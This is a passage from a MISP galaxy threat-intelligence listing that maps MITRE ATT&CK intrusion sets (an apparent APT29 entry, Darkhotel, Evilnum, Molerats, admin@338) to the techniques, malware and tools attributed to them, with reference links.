- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CosmicDuke - S0050" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="EnvyScout - S0634" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TEARDROP - S0560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WellMess - S0514" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PolyglotDuke - S0518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RegDuke - S0511" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Raindrop - S0565" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FatDuke - S0512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GoldMax - S0588" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POSHSPY - S0150" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="MiniDuke - S0051" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="meek - S0175" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SeaDuke - S0053" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ROADTools - S0684" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FoggyWeb - S0661" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WellMail - S0515" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="LiteDuke - S0513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="VaporRage - S0636" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Sibot - S0589" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SUNBURST - S0559" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PinchDuke - S0048" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="OnionDuke - S0052" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NativeZone - S0637" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GoldFinder - S0597" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials - T1589.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TrailBlazer - S0682" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SUNSPOT - S0562" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BoomBox - S0635" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CloudDuke - S0054" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SoreFang - S0516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="CozyCar - S0046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tor - S0183" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5050. Table References

Links
http://www.secureworks.com/research/threat-profiles/iron-hemlock
https://attack.mitre.org/groups/G0016
https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/
https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF
https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services
https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise
https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf
https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf
https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise
https://www.secureworks.com/research/threat-profiles/iron-ritual
https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf
https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/

Darkhotel - G0012

[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Darkhotel - G0012"*

Darkhotel - G0012 is also known as:

- Darkhotel
- DUBNIUM

View relationships graph

Darkhotel - G0012 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5051. Table References

Links
https://attack.mitre.org/groups/G0012
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf
https://securelist.com/darkhotels-attacks-in-2015/71713/
https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/
https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/
https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/

Evilnum - G0120

[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Evilnum - G0120"*

Evilnum - G0120 is also known as:

- Evilnum

View relationships graph

Evilnum - G0120 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="EVILNUM - S0568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5052. Table References

Links
https://attack.mitre.org/groups/G0120
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

Molerats - G0021

[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky

MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Molerats - G0021"*

Molerats - G0021 is also known as:

- Molerats
- Operation Molerats
- Gaza Cybergang

View relationships graph

Molerats - G0021 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Spark - S0543" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SharpStage - S0546" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DropBook - S0547" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="DustySky - S0062" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="MoleNet - S0553" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Molerats" with estimative-language:likelihood-probability="likely"

Table 5053. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf
https://attack.mitre.org/groups/G0021
https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html

admin@338 - G0018

[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-intrusion-set="admin@338 - G0018"*

admin@338 - G0018 is also known as:

- admin@338

View relationships graph

admin@338 - G0018 has relationships with:

- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BUBBLEWRAP - S0043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="LOWBALL - S0042" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="TEMPER PANDA" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5054. Table References

Links
https://attack.mitre.org/groups/G0018
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

APT19 - G0073

